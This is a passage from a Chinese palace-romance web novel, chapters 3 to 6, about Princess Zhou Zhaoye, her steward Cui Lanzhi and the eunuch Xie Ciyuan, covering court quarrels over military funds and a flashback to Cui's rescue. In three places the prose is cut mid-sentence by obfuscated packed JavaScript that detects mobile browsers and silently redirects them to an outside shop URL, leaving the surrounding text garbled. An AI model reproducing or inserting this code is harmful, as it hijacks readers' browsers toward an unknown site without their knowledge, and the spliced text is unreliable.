《黄昏最难熬》 3. chapter 3 雨打风吹去 崔兰止如今的家,离公主府已经很远了。 如果不是他父亲野心勃勃多年前参与了一场叛乱,他大概如今还是高门显贵的伯府公子;如果那场叛乱成功了,他如今大概已经青云直上,不会屈居于区区一个长史之位。 如果没从那场大火里救出定国殿下……这把骨头,如今大概也不知道埋在哪处荒坟了吧。 绵延近百年的家族,一日卷入皇权斗争,风流富贵也就雨打风吹去了。 祖宅家业一概被查抄,来抄家的官兵们手黑,母亲跪着哭求他们让自己留下最后的嫁妆,那是她做姑娘时从老家戴来的宝石簪子,已经是最后一点亲人的温度,然而也未能成功。 官兵们粗鲁地说你们娘儿俩还能留住命都不知道是哪辈子积的德,还啰嗦什么?就这样强硬地扯走了簪子,抢夺间簪子划破了母亲的手背,血呼啦啦就洒了一地。 哪辈子积的德?真积了德他父亲怎么会造反?是当时尚且年幼,重伤未愈,甚至爬不起来床的定国殿下不知哪里来的一腔毅力,拖着病体跪在皇帝殿前,死活保下了他与母亲的性命。 后来定国殿下不知从哪里听说了抄家时的情状,派人找到了在街头流浪的他们娘俩儿,来人手里捧着朴素的木盒,木盒里是那根宝石簪子,簪子之外是母亲其他的首饰嫁妆。 他不后悔救了定国殿下。但他也想离皇宫远一点。 那些嫁妆最后还是变做了现银子,什么财富也好亲人的温度也罢,人其实真的能留住什么?不如换了钱来还能买一处安身的屋檐。 他们在八条街外置了个不大的宅子,及至如今他已经是公主最信任的长史,富贵与权力都重回手中,可他还是没动地方,宁愿在长夜里听马车一层一层压过八条街的积雪,把他送回简陋的木门前。 门内是还在等他回家的母亲。 “怎么这个时辰才回来?”崔夫人见他进门,连忙迎上来,“是不是公务繁忙?这么晚了也没个信儿,娘还以为你不会回来了……” 崔兰止道:“肯定要回家来的,母亲下次不必等我,时辰晚了就歇息吧,否则儿子心里也不安。” “其实若天色晚了,就在公主府留宿也没什么不好。”崔夫人又道,“咱们现在可靠定国殿下活着呢,如果殿下真有什么事,你也方便回话啊。” 崔兰止道:“议完了事才回来的。” “对,对,娘也不是别的意思。”崔夫人抹了抹鬓角,她年纪不算很大,然而鬓角已有霜色:“就是咱们好不容易才有安生日子,你可得跟殿下好好的啊。说来殿下今年多大了,是不是还没有……” “娘,”崔兰止打断道:“我累了。太晚了,都睡吧。” 隔日雪晴,前一夜睡得很晚,然而刚破晓崔兰止就醒了。他躺在床上合目静了一会儿,还是披衣起身了。 因知道他家路远,公主府又时常议事到深夜,公主府从来不规定崔大人来府的时间,哪怕不来了也只要派人说一声就好,殿下从不计较。只是崔兰止从未恃宠生骄,不管前一夜议事多晚,第二天从来都没迟过。 其实很累,不知道累在哪里,他也不知道自己在坚持些什么。 他到的时候刚辰时,过来时闻了一路出早饭的摊子香气,又是馄饨又是豆浆的。门房一见到他就长出了一口气:“长史您可来了!” 崔兰止问道:“怎么了?” 门房苦着脸说:“今天来了好多人呐!兵部萧大人来的时候跟咱们一顿甩脸子,我看里头不好相与,长史您可小心呐。” 崔兰止一愣:“兵部萧……镇北侯?” 公主府议事正厅是银安殿,殿下说大事,见不大喜欢的外客一般都在那儿,关系稍近一些的臣子就在小一点,也更私密一点的澄心堂了。 刚走近银安殿正门,还没进去就听见里面沸反盈天,好像一锅正在咕噜咕噜冒泡的开水。 “殿下,河洛一带已经连续旱灾三年,赈灾的钱粮地方上实在已经捉襟见肘……” “唉!何止河洛一带有旱灾?中原地区今秋忽起疫情,这疫病来势汹汹恐要控制不住,流民遍地,殿下也要早做打算,万一传进京城……” “还有一事,开了春就是万寿节,去年刚打了西南诸部,开了春各部就要派人入京朝圣,咱们若不提前准备起来,到时恐怕在蛮夷面前丢脸……” “各位大人都歇歇嘴吧。”这是镇北侯的声音,“这都是将来的事,截云关外有蛮族异动,若不提前防范这帮龟孙子说不定什么时候就打进来,军费到底为什么年年拖欠?将士们抛头颅洒热血的保家卫国,怎的户部支点银子就他娘的这么费劲?!还有去年潼关一战,战死将士的抚恤金怎么到今天还不清不楚?户部到底在干什么?!” 这人声如洪钟,话里有气,差点要把银安殿的门吹开了。 崔兰止见一婢女端着一个食案停在门口,踌躇着不敢进去,便上前接下:“给我吧,殿下还没用膳呢?” 门两侧的婢女抢步打帘,崔兰止安静地进去了。 只见殿内站着七八个人,最上首就是镇北侯。 镇北侯任截云关主帅,又是来要钱。周昭野一身家常的青锦裙子,扶额坐在书案后面,发髻上只挽着两根玉簪,看着也像是被人强从床榻上召唤起来的。 周昭野揉着额角,感觉头和胃都有点痛:“侯爷上次来孤这儿只是说截云关抗击蛮族凶险,需要增添军费,怎么今天又变成年年拖欠了?怎么回事?” 列席的户部官员站出来辩白:“殿下绝无此事!每年的银子都是照数拨下去,账册一应都在,侯爷若有疑问可随时查看……” 镇北侯道:“你们做账的阴一套阳一套想糊弄谁?老子不吃你这套!” 户部官员涨红了脸:“侯爷慎言!这是朝廷的账目,我等岂会玩弄这等阴私手段窃取国财?!” “你他…… ” 崔兰止将早膳在周昭野面前一一摆开,淡淡道:“诸位大人,殿下面前慎言。” 镇北侯道:“你们户部每次都有一套话来胡搅蛮缠,你们安安稳稳坐在这么漂亮的府衙里上下嘴唇一碰,说什么缺这个文书少那个条例的真是轻巧得很!那边关苦寒难捱,将士们保家卫国,难道叫他们连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171686|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个暖和年都过不上吗?你道我愿意成天来跟你扯皮?” “自然不能。”正此时门外又进来一人,稳稳接上了镇北侯的话,“军费并非拖欠,只是接连三年支出越来越高,报上来的条款又有诸多对不上的地方,并不是不给。我们一直派人去兵部说要来一位将军述职说明情况,只是迟迟不来,今年的这才耽搁了。” 镇北侯一卡。周昭野抬眸,松了口气:“陆大人可来了。” 来人双鬓已白,看去已过不惑之年,正是户部尚书陆世襄。她一早听说镇北侯来拍门,立刻就猜到是什么目的,早差人去请了陆大人。 陆世襄拱手行了一礼,又道:“正好今日我来了,有些事不如就直问侯爷了,咱们交代清楚,有哪项银子之前没到,即可就下绝无延误,定不让将士受苦。” 周昭野道:“其他的事也别在这里吵。河洛一带的旱灾和中原的疫病,回去叫他们地方上的人写个详细的折子呈上来,说得清楚点,别一天到晚语焉不详地只知道来孤这儿报丧。今天就到这儿。” 礼部官员绝望道:“殿下,还有陛下的万寿节和太后娘娘的千秋……” 周昭野扶了扶额,道:“万寿千秋的准备事宜往年都有具体章程,照例办就是了。今年不必大操大办,具体章程出了后不必过孤这里,直接呈送内阁。只不要过度靡费,细则如何孤都没有意见。” 人散了时已经接近午后,这早膳哪怕摆了上来也一口都没吃上。周昭野要去摸眼前的青瓷碗,刚搭了个边就被崔兰止收走了:“已经凉了,别吃了。我叫他们传午膳……” “别传了。”周昭野蔫蔫地,“半点不想吃。” 崔兰止道:“事情多又不吃饭,怎么能撑得住?” 周昭野揉着额角:“我真吃不下,镇北侯怎么这么能喊?一清早就这么一大通,你有胃口吗?” 她快揉了一晌,一看就知道是头疼。每次传来太医,也只说是操劳过甚所致,应当多休息,开些不咸不淡的药,从来也没有用过。崔兰止看不下去,手指微微动了动,却仍旧是没有上前,只又道:“我哪怕没有……” 周昭野痛苦道:“别念了,别念了。” “……”崔兰止叹了口气,“昭野。” 周昭野手一顿,抬眸看向他。崔兰止微微俯身,轻声道:“就是因为担子重,你才更要保重自己啊。” “年前年后全是事情,户部的钱一年年都是照着数目往下发,永远都不够用,年年都赈灾,从来都没好过。到底是这灾难赈,还是层层盘剥的蛀虫太多?”周昭野嘟囔道,“镇北侯只要回京就闹,说关外蛮族狼子野心,说要用精良的刀剑才守得住雄关……我头上拢共就这么两根钗,他要看得中下次就给他拿去好了。” 崔兰止失笑:“怎么就这么寒酸?国库再不够用,定国殿下的妆奁总还是供得起的。我刚还想着,好歹是议事,殿下穿得这么朴素就见人?” “全都过来要钱,也不好我头上插两斤黄金三斤宝石的,然后两手一摊说我就是没有吧?”周昭野道,“何况这么早就来拍门!谁有心思收拾这些。” 4. chapter 4 情深意长 午后,‘归去来’雅间。 这是京城内最大的酒楼,乃是长宁侯府的私产,这楼上下足高十二层,跨江而建,百年过去了,仍是京城内最风流繁华的去处。 权贵勋爵多在高处有自己固定的雅间,照个人的喜好布置。楼层越高地位越高,好像也就离俗事越远。推窗望去,仿佛伸手就能摸到苍穹。 紫檀小案上悬着个金吊子,正咕嘟嘟地冒着泡,整间屋子都浮动着甜香。窗外正落着雪,楼下隐约传上来丝竹与人声。 谢辞渊斜倚朱栏,垂眸安静地看着楼下来来往往的客人们。 “哎哟,督公好会享受。”刚进门的人道,语意轻松含笑,带着点恰到好处的惊叹,“这一推门,下官简直以为自己到了西域了。” 地板上铺着厚厚的石榴红波斯地毯,绣着繁复的莲花,鸟雀与藤蔓,纹理间流淌着金光。房间四角摆放着枝型的青铜灯架与鎏金香炉,地上堆积着如山的靠枕,绣着不同的灵鸟与花朵。走进这屋子简直像是踩在云上。 他又抱怨道:“督公,下官好歹也孝敬过好多回了,还至于每次见面都细细搜身才放下官进屋吗?您的人手脚可真粗糙。” 谢辞渊懒懒道:“为咱家的安全计,裴大人海涵呐。” 裴彻含笑称是,心里想就你这身板还犯得上搜身?随便抄起这屋里的灯架来两下估计就抡死了。 “找咱家什么事?”谢辞渊道:“今年的生意做完了吧。” “就不能是下官思念督公了?” “……”谢辞渊评价道:“正经的阉党都没有你马屁拍得肉麻。” “哎,这话说的,”裴彻道,“怎么能叫阉党呢?都是真心仰慕督公的人,聚集起来取暖罢了!” 谢辞渊揉了揉额角,道:“裴大人春风满面,是有好事临门?” “自然是有好事了,前几日下头人来报,说军需粮草日前已经抵达西北边关,一应验过都是实在东西,都是托督公的福。只是前几日我的人去交接粮时被御史台发现,派人查问了,我怕误事,就来跟您说一声。” 谢辞渊道:“御史台递折子也是送到咱家这里,你怕什么?” 裴彻叹道:“镇北侯呀。” “镇北侯。”谢辞渊饶有兴致道,“你怕他呀?” “我毕竟还在兵部做事,侯爷如果知道我一直与您互通有无,盛怒之下,以后有些事下官势必是难办了。” 谢辞渊懒洋洋笑了一声:“他确实经常盛怒。” “可不嘛,”裴彻一张手,“听说今早去定国殿下府上大大发作了一通呢。” 定国殿下。 那天宫宴上好像也下了点雪?吵得很,那位公主盯着他看了很长时间,不知道为什么,站出来解了个围。 “裴大人,”谢辞渊直起了点身子,“你觉得定国殿下是个怎样的人?” “啊?我不常在宫禁,和殿下没什么接触呀。”裴彻道,“嗯……年轻,美貌,爱玩?” 谢辞渊一愣:“爱玩?” 这从哪儿说起的?在他印象里对比起那不学无术的弟和横征暴敛的爹,定国是个难得的勤勉人啊。 “我刚在楼下碰上了,但看殿下穿着朴素,是要隐瞒身份的打算,就没去打招呼。这上午刚被镇北侯吵了个大的,下午就能伪装百姓来这儿消遣,心很宽嘛。”裴彻道,“还带着她的小长史呢,嘿嘿。” 他走到谢辞渊身边,谢辞渊倚着的朱栏靠着天井,没有隔断,能直接看到一楼和其他楼层。他眯着眼睛辨认了一下,然后指着一楼莲池边的两个人:“喏,那儿不就是。” 定国殿下背对着他们两个,看不清脸,只能看到一瀑青丝如练,那女子肩背挺拔,在浮华奢靡的享乐场中像一杆格格不入的青竹。 她对面坐着……谢辞渊眯了眯眼,定国公主府的长史,他知道这人。落魄世家子,父辈牵连进造反的大案里,好像当初就是定国殿下死保才从‘满门抄斩’堪堪变成‘家道中落’。 这人在京城里名声不小,听说是因为气度卓绝,人称‘芝兰玉树’。 芝兰玉树……勉勉强强吧。 “京中风传殿下和长史之间,情非泛泛呐。”裴彻啧啧感叹,“一见之下此言不虚啊!” 谢辞渊道:“哦?” “刚我与他们两个擦肩而过,听到长史称殿下为‘阿野’。”裴彻笑道,“哪怕是为了遮掩身份,要不是情深意长,哪儿能这么亲近?” 谢辞渊道:“日前礼部上书提议说,圣上年岁渐长,应该大婚了。紧跟着内阁也有人说,既然圣上该大婚,那定国殿下的婚事也不该再继续耽搁了,年后就要开始办。这是天下最富有权势的两个人的婚事,不少人家已经摩肩擦掌地准备起来了。” 裴彻感慨道:“那就不知将来谁家驸马能忍这位长史了。” 谢辞渊道:“让长史做驸马不就都解决了。” “齐大非偶,”裴彻一哂,“玩玩罢了。” 谢辞渊却没接这句话,裴彻回头,只见谢辞渊盯着定国的背影,竟然走神了,不禁一愣。 谢辞渊没怎么跟周昭野打过交道,早在他掌握权势之前,定国殿下就已经出宫立府,安坐在权利帷幕后了。她天生懒倦似的,对朝堂斗争的兴趣并不大,无论是对他,还是对朝堂上的任何人,她都不怎么关注。 然而或许只有他与内阁才知道奏折上那些字迹端正的密密麻麻的批复,公主府来来去去的朝臣。她父亲穷兵黩武好大喜功,她弟弟穷奢极欲贪玩好色,唯一一个做事的人竟然是名不正言不顺的女流之辈。做得再刻苦又怎样?谁会记得? 一直以来谢辞渊都觉得她是个很笨的人。倘或不爱争名利,何必呢? 他们见面很少,直到那天宫宴上,定国殿下主动问了一句话。 她眉目间有清刚气,果然看着死心眼。谢辞渊不觉得那是个会‘玩玩’的人。 “你觉得公主会为了政局牺牲到哪一步?”谢辞渊回神,漫无边际地问,“奉献终身?” “也不能算牺牲吧?”裴彻一哂,“联姻而已,又不是和亲。挑个看着顺眼的,喜欢就相处,不喜欢就别府另居,再带着她的小长史,不照样是快活日子?感情,权势,” 他摊开双手,同时握拳,做了个狠狠攥住的手势:“两手都要抓,两手都要强!” 谢辞渊斜睨他一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171687|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“比起定国殿下,裴大人才像是个风流人啊。” “漂亮!”周昭野‘咣当’一声站起来,大声赞叹,猛烈鼓掌,声音之响亮盖过了周围一圈人,隔壁桌捧角儿的纨绔怒目而视,台上的舞姬盈盈地拎着裙角行礼。 她回手猛推崔兰止示意他掏钱打赏,崔兰止揉了揉眉心,深吸了一口气,几乎要咬牙了:“殿……小点声!再让人认出来!” 周昭野毫不在乎地一摆手:“认出来就认出来!” 但崔兰止拉了拉她袖角,她还是坐下了。 “兰止你从前来过这儿吗?”正好此时舞姬谢台,大家都在聊闲天,周昭野闲散道,“好像‘归去来’在京城里还蛮出名的。我是第一次来。” “来过不少次,不过都是约了人谈事情。”崔兰止四处打量,又道,“您最好是少来,‘归去来’不是普通酒楼,而是京城情报流通处,鱼龙混杂……” “这不是长宁侯府的私产吗?”周昭野很新奇地问,“长宁侯府还干这种事?” “文帝年间圣安司第一代领头的人物就是当时的长宁侯,这儿有一半算是圣安司的下线,后来长宁侯淡出朝野,圣安司是不管了,可‘归去来’仍旧是三教九流的通衢处。”崔兰止道,“现在长宁侯府在其中是一个怎样的角色不好说,但各地斥候探子都在这儿‘做生意’是难免的。” 周昭野道:“刺激啊!” “刺激什么?”崔兰止道,“也就是说这儿时局很乱,‘千金之子,坐不垂堂’的道理您还不懂?您的身份怎么跟着来干脏活儿?” “大过年的没意思,闲着也是闲着!”周昭野道,“崔妈妈别念了别念了,你说张彦过世前来过这里?” “是,我查了几天,顺着来送信的乞丐几经摸查,发现送信的是归去来的路子。只是这儿来往的人员身份杂乱,一时还摸不到头绪,不过倒是还有另一个线索。” “怎么?” 崔兰止低声道,“有疑似凶手的人也在归去来出没,如果能抓住他,那就好办多了。我在这儿附近布了暗桩看着,但……” “但这儿的暗桩不止有一家。”谢辞渊抄着手,垂眸看向楼下的重新上台的舞姬,又有一台戏端上来了,“咱家查张彦,是因为死在咱家门口了,那其他人是为了什么呢?” 裴彻好奇道:“谁这么能耐,还能来管督公您的闲事?” 谢辞渊淡淡道:“不怕咱家的人呗。” ‘归去来’内光线突然一暗,是有人熄灭了几乎一半的灯火。戏台上不知何时出现了一位白衣的女角,满楼的人声突然静下来了,半晌听得悠悠一声筝。 “美人公子飘零尽,”女角开口了,“一树桃花似往年……” ‘归去来’大堂正中间是一片金莲池,莲池中心就是戏台。这女角声如金玉,隔水而来恍若天人,听得人心里一动。 光线暗下来了,却仍旧是流动着的,明明暗暗地打在对面人的脸上。 那女声仍在幽幽地唱,满楼寂静。周昭野突然轻声道:“上一次跟你出来看戏是什么时候的事,十年前?” 崔兰止一愣,没说话。 是九年八个月零三天。 5.chapter 5 相逢 十年前,公主殿。 层层纱幔遮掩着内室,满屋都浮动着药味。宫婢们凝神屏气,整个公主殿寂静得好像一座坟墓。 前几日娘娘带着两位殿下去京郊小住,没想到乱臣贼子竟然作乱,一路杀到了皇家别院。幸好公主殿下年幼却却勇武,竟然持剑护着太子殿下从乱军中杀出来了。 真是奇闻一桩,连陛下都赞公主有先祖之风,可惜殿下伤势太重,昏昏沉沉睡了又醒,已经三天了。 周昭野只觉得自己沉浮在一片混沌中,一会儿梦到火光冲天的宫殿,耳边尽是厮杀与婴儿的哭声,一会儿又是刀剑中救下自己那少年清澈而坚定的目光。他把自己和弟弟护在身后,一路送出了燃着大火的宫院。 少年的肩膀还很单薄,却好像已经足够遮风挡雨,而她已经脱力了,只是凭借着意志力,行尸走肉地跟在他后面。 路上遇见士兵对宫女施暴,她麻木的眼珠转动了一下,少年低声道:“别看。” 你也不忍吗?她想。这捂住自己的双眼的手,竟然也颤得像拿不起弓的人。 她也低声说:“我会报答你的。” 可她太累了,话语似乎根本没有引起喉咙的震动,乃至于承诺如此轻飘,好像刚出口就消散了。 我见过这个人……或许不知某一年某个节庆某个场合,我们曾经一定擦肩而过。她迷迷糊糊地想。 命运一定对我们别有安排,否则何以让我在最绝望的时刻,被最不可能的人救下? 冥冥中不知哪里来得一股力气,催促着她挣命般睁开了双眼。 入目是层叠的帘幕,身边有人喜极而泣般道:“殿下醒了!快,传太……” “他在哪儿?”周昭野挣扎着爬起来,抓住了身侧的宫婢,无头苍蝇般问,“别叫!那个人在哪儿?” 少女的指掌竟也还算有力,宫婢被她抓得一痛,却又被自家殿下如恶鬼附身的眼神吓到,磕磕巴巴地回答,“谁,谁啊?” “把我送出来的,十六七岁……”周昭野艰难地组织着语言,试图描述特征,“穿着叛军的衣服,那个叛军的小头目!” “叛军贼首已经伏诛,都下狱了呀殿下!”宫婢一把扶住她,“您放心,他们都会杀头的!” 这话激得周昭野立刻咳嗽起来,她又问道:“何时处斩?” “这……奴婢不知道呀,前朝的事,总有陛下定夺,肯定不委屈了殿下……” “扶我梳妆!”周昭野不再多说,脚步虚浮地走到梳妆台前。 宫婢没想到她刚醒就这么能作死,吓得脸色煞白。然而公主殿下持刀大退乱军贼子的余威仍在,她不敢造次,只喏喏地去为她挽发梳妆。 周昭野等不及她伺候,颤抖着手抓起眉笔,向自己脸上勾画。不及细理,刚勾出个人模样,起身便要出门,宫婢都要哭了:“殿下这是要去哪儿啊!” “去宣政殿,”周昭野喘着粗气道,“孤要见父皇。” 时值隆冬,鹅毛大雪纷纷而落,宫道上的太监们动作麻利地清扫着积雪,就怕哪宫贵人滑了脚。 “喂喂,小谢子,”甬道边的小太监捅了捅边上安心打扫的同伴,“你听说了吗,这两天皇后娘娘受惊重病,皇贵妃娘娘成天去看望太子呢……” 皇后身子骨弱,本来就三灾六病,太子又年幼,倘或皇后薨了,这小太子总得有个人照看吧? 小谢子只闷头打扫:“别打听了。” 正这时宫道拐角处有人声嘈杂涌来,他们两个抬头,小太监‘咦’了一声:“那是昭公主的仪架吧?昭公主不是还重伤未醒吗?” 小谢子漠然道:“那就是活过来了。”说着就把东西放下,安安分分地跪到宫道边去。 车架悠悠驶向他们,他边上的碎嘴子依旧小声逼逼道:“哎小谢,你说昭公主这伤还没好,这么折腾是要干什么去……” 然而车架还未到他们眼前,一侧抬轿的轿夫没走稳,一个脚滑竟然翻倒在地,连带着轿子也狠狠一歪,里面传出‘咚’的一声,八成是倒霉公主磕到了。 跟轿的婢女大惊失色,立刻掀开帘子要看情况,那公主不知说了什么——小谢子看八成是没问题,哪有那么金贵,磕一下还磕死了? 正负责这里清的首领太监立刻迎上去告罪:“殿下饶命!殿下饶命!是奴才这儿洒扫不周,摔了殿下,这儿是……小谢子!小顺子你们两个过来!” 他们两个只得膝行过去,刚要张嘴讨饶,那首领太监的巴掌就劈头扇了下来:“叫你们干活不用心,到底摔了殿下!没用的东西,怎么不去死!” 这首领太监身宽体胖,一双肥掌,而小太监瘦弱得像黄花菜,巴掌落下来第一下就给小谢子扇懵了。他只觉得自己满脸都肿了起来,没几下喷出一口血。 “公公……”落雨般的巴掌声里是小顺子艰难的哭声,“这儿不是我们……是你干儿子…… ” 没有用的,就因为是他干儿子负责的区域。 “住手。”轿子里穿出一个虚弱的女声,“放了咳咳……放了他们。” 首领太监手一顿,喜笑颜开:“殿下宽仁——” “跟这两个小子有什么关系。”那少女的声音恹恹的,“隔着那么老远把人叫过来顶罪,打量着孤看不出来?是谁的错就是谁的错,罚俸一个月就是。犯不着这么给人没脸。去太医院叫个人来看伤,宫中行走怎么能伤了脸?公公也忒不懂规矩。” “唉,唉,遵命殿下!奴才谢殿下大恩大德!” 拜昭公主所赐,他们放了假。脸上有伤,隔天小谢子也没打算出门,小顺子是个大嘴巴,已经出去跑了一圈八卦回来讲给他听。 “哎,小谢子你知道吗!”小顺子道,“昨晚昭公主是去干什么才碰上咱们?” 小谢子心想,重伤未愈,大雪天非得出门,作死。 “听说是去给一个叛党求情去了!”小顺子左右看了一圈,见四下无人,偷偷摸摸道,“触怒了陛下,陛下发了好大的火!但昭公主也倔得很,死活就要救那个人……” 小谢子道:“陛下怎么说?” “陛下不肯啊!”小顺子道,“这节骨眼上,谁为叛党求情,那不都是找死吗!也就是昭公主是亲女儿才没当场拖出去……但昭公主也是个硬骨头,在宣政殿外跪求陛下放人,听说已经跪了一夜……” “跪了一夜?”小谢子一愣,“那现在呢?” “现在不知道,我回来的时候还没叫起呢。”小顺子道,“啧啧,昨晚那天气,冷哦。” 小谢子一翻身:“跟咱们有什么关系。” “谁说不是,这昭公主触这个霉头干什么你说……哎,我去找染秋姐姐玩儿了,不管你了啊!” 跪了一夜。 那公主的声音听着气虚血滞的,这么冷的天气……跟我有什么关系,那是皇帝的亲生女儿,还能叫她死了吗?小谢子翻了个身。 就算你去能有什么用?人家金枝玉叶,还能听你说话?小谢子又翻了个身。 我就去看一眼。少顷他面无表情地坐起来:防止那半夜出来找死的小殿下跪死在那儿没人收尸。 宣政殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176672|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,前后都无遮无挡,好像比别的地方都还要冷一点。 那小公主果然还跪着,只幸好身上还披着狐裘。小谢子站在拐角处偷看,踌躇了一会儿,不知如何上前。 我能说什么?他想。殿下千金贵体,要保重自己?无论想救下谁都不是这样的方式?皇上不会受你威胁的? 伏跪在地的昭公主突然开始呛咳,咳得很深,简直像是要呕出一口血来。他在很多同僚身上听到过这种声音,代表受寒已深伤及根本,如果再得不到修养,就要出人命了。 不是说亲生女儿么!竟忍叫她吃这口苦? 小谢子攥了攥拳,正要提步上前,却只听殿门一响,一道明黄色的身影快步走了出来,几步就到了公主殿下面前,正是皇帝。 殿门口的宫人们呼啦啦跪了一地,小谢子步子一滞,出不去了。 “就算朕答应你!”皇帝仿佛暴怒,“乱臣贼子,也压根不会感念你的恩德,反而叫他生出骄狂,不必多久,十年后就是你的心腹大患!” “儿臣既然救他,咳咳……就能收服他,”周昭野膝行两步,抱住了皇帝的小腿,“他能在叛军中护得儿臣与弟弟逃生,心里也不是不明白事理。儿臣求父皇,求父皇……” 抱着自己小腿的幼女烧得双颊绯红,唇角干裂,双眼死死盯着他,神色坚定到近乎偏执。皇帝见过很多这样的人,或者是名臣,或者是狂客,却不该是十余岁的少女。 有这样神色的人或许真会赴死,却不会放弃。做父亲的,还真能为了个外人折断自家的美玉良才吗? 皇帝叹了口气,点了点头。周昭野得了回信,终于放心地晕死了过去。 我会救你的。一片混沌中她不知跟冥冥中的谁发着狠,我一定会……! 皇帝一把接住了晕厥过去的女儿,跟旁边的首领太监叹道:“昭野。真是像我。要做的事,除非死了,什么也阻拦不了。” 首领太监陪着笑道:“殿下性格坚毅果敢,岂非陛下之福。” “如果她弟弟也能……”皇帝稀薄的笑意一闪而过,“哪怕有昭野一半,朕何愁后继无人!” 周昭野这一晕,再能下床就是小半年后了。太医院所有人都松了口气。 本来以为昭公主触怒圣上会失宠,然而皇帝却似乎更喜欢这个女儿了似的,日日垂问。太医院自然如临大敌,生怕救不回来了。 这一个月皇宫里发生了很多大事,皇后到底没有熬过叛乱后的重病,薨了。皇帝命皇贵妃摄六宫事,抚养太子及昭公主。 然而太子性情柔弱,挪宫时哭闹不止,最后一个小太监站出来哄好了太子,皇贵妃大为宽心,命那小太监从此贴身伺候太子。 小太监姓谢。 立春,京城已经开化了。 八松街是京城外围,已经离皇城很远了,都是些商贾农人,穷学生们住在附近。 这一天天气很好,崔兰止端着一盆湿衣服,正一件一件晾在院子里。人穷志短,没有了金银婢仆,再是芝兰玉树的世家公子也要自己洗衣服照顾老母。 少年穿着一件打了补丁的粗布衣服,或许是干活热了,袖口三挽两挽,露出一截劲瘦苍白的小臂。 周昭野静静地看着。 崔兰止一回头,便见自己家的小院门口站着一个素衣银钗的姑娘。正是那天家的金枝玉叶,自己因救了她而获救。 他们对视了半晌,崔兰止道:“草民给殿下……” 几乎同时,周昭野出口截断他,并不自矜身份,声调朴素简直像是他家邻居:“要不要聊聊?” 6.chapter 6 郎君啊,郎君 八松街附近就是天桥,天桥边上有个戏院,戏院里白天人少,周昭野和崔兰止相对而坐,台上懒洋洋地唱着一出不知名的戏。 事隔半年,终于万事尘埃落定,能在一个安静地方见面,似乎初见,又似乎重逢。 “最近怎么样?”周昭野装作很熟的样子,“我叫周昭野。” 崔兰止道:“草民崔兰止,殿下的名讳我知道。” “嘘——别叫殿下,我偷偷溜出来的。”周昭野连连摆手,“我又不是来跟你摆架子的!现在我不是殿下,你也不是草民,你叫我阿野就好了,我叫你兰止。” 崔兰止一愣,又微微笑起来:“您真是和我印象里的很不一样。” “在……之前,我们见过吗?” “见过几次,”崔兰止道,“有几次宫里大宴,见过您。但您当时,呃,哈哈。” 挺端庄自持的,没想到私下里性格这么野。 “我是想来当面感谢你。”周昭野道,“本来早就想来,但中间太多事。” 崔兰止点点头,又反应过来:“您别在意。” 一见他就知道吃过很多苦,衣服装饰自然不必提了,只好在还算干净整洁。脸色与肤色皆苍白,透出营养不好又过度劳累的样子。区区半年起码瘦了一轮,看去简直和周昭野一边大了。 只是长得实在好,这样朴素的装束,坐在人群里,气质竟然依旧是出众的。 周昭野其实想问很多,诸如你怎么样?你过得如何?当时为什么救我?你全家除了母亲都被我父亲处死了,你恨我吗? 然而看着崔兰止静如深潭,不知是绝望还是麻木的神色,她却又问不出口。 人的勇敢或许能支撑人从绝境中站起来,却未必能教人接受失去。他们都太年轻了。 艳阳昭昭,一片寂静。戏台子上女角起了个高声。 “非是我娇娇临危难袖手不问,见郎君又勾起多少前情——” 崔兰止道:“殿下还有什么事?” “嗯。”周昭野道:“我有些话想对你说,但看你脸色这么严肃,还继续叫我殿下,我就不知道要怎么说了。” 崔兰止一愣,面色不自觉缓下来:“殿……阿野,你说吧。” “我其实只有一个问题,”周昭野道,“恨我吗?” “不恨吧。”良久,崔兰止道,“我不赞同父亲的决定,但我也没有办法。进到行宫里,太惨了,我看不下去。” 他低头看了看自己的手,自嘲道:“父亲一直说男子汉大丈夫,不可妇人之仁,可能我就是个没什么出息的人吧。我当时只是也想有个借口离开那里。” “至于其他的……成王败寇,谁都会这么做的。您还救了我,还把我母亲的簪子送回来了,我很感谢您。”崔兰止静静道,“这样的天恩浩荡,我不知道能恨谁。何况就算恨,我又能怎么样呢?” 那是不恨,还是不敢恨,不能恨? 周昭野也默默了良久,最终好似下定了决心一样:“我可以给你一个机会。” 崔兰止道:“什么?” “如果你想远离这一切,我会安排人送你跟你母亲离开京城,会给你足够的钱财。”周昭野道,“或者你也可以选择留在我身边,我将来无论是出嫁还是怎么样,总会出宫建府,或者离开京城,我需要一个心腹。” “殿下,”崔兰止把茶杯放在桌子上,换回了尊称,“您选我不是好主意。” “我今日不恨,明日不恨,”他说,“来日若飞黄腾达,就未必不恨。” 